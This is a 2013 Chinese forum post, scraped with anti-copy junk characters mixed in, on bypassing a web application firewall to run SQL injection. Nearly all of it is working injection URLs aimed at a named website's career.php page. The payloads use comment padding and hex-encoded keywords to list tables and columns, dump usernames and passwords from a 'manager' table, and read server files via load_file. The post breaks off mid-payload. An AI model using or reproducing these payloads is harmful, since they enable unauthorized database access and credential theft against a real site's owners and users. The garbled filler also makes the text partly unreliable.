标题: 绕过waf注入 [打印本页] 作者: admin 时间: 2013-3-8 21:51 标题: 绕过waf注入 waf过滤了 union select from 等关键词0 L, G$ ]/ r' [! O* q$ H
* j% d+ Y$ a' w % l7 w" ?; Y& K. P$ t: O* f c1.列当前库所有表 # b2 L, C) Z/ Nhttp://jyht.co.uk/career.php6 A4 g( p% S8 p+ g. O
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%54%41%42%4C%45%53%20%41%53%20%69%20%57%48%45%52%45%20%69%2E%54%41%42%4C%45%5F%53%43%48%45%4D%41%20%3D%20%64%61%74%61%62%61%73%65%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,186 j2 A8 V" {4 z. h- d H
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2.获取字段 " s; w3 d$ ?) w# ?http://jyht.co.uk/career.php' i+ U2 z8 q Z
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat(COLUMN_NAME,0x3C2F62723E),6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%43%4F%4C%55%4D%4E%53%20%77%68%65%72%65%20%54%41%42%4C%45%5F%4E%41%4D%45%3D%30%78%36%44%36%31%36%45%36%31%36%37%36%35%37%32: _! }4 Z8 C$ L3 n3 x6 i
* Y e; m2 O8 }3.直接获取数据 3 H+ c, i* v0 \http://jyht.co.uk/career.php* I, a* ?$ P& ~7 `7 i: {3 W$ M
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat(id,0x3d,username,0x3d,password,0x3C62722F3E),5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D/**/%6D%61%6E%61%67%65%72 # M; I' T' F1 W ( w8 d; A+ T$ ~! c2 L3 N 2 u$ `( a( X" k, y+ M0 x- y8 w
4.读文件 可以不用hex 直接在页面显示(必须是root) 1 a* w* i* w+ Zhttp://jyht.co.uk/career.php) @2 v! O; c2 @0 S
?id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex(load_file(0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E70687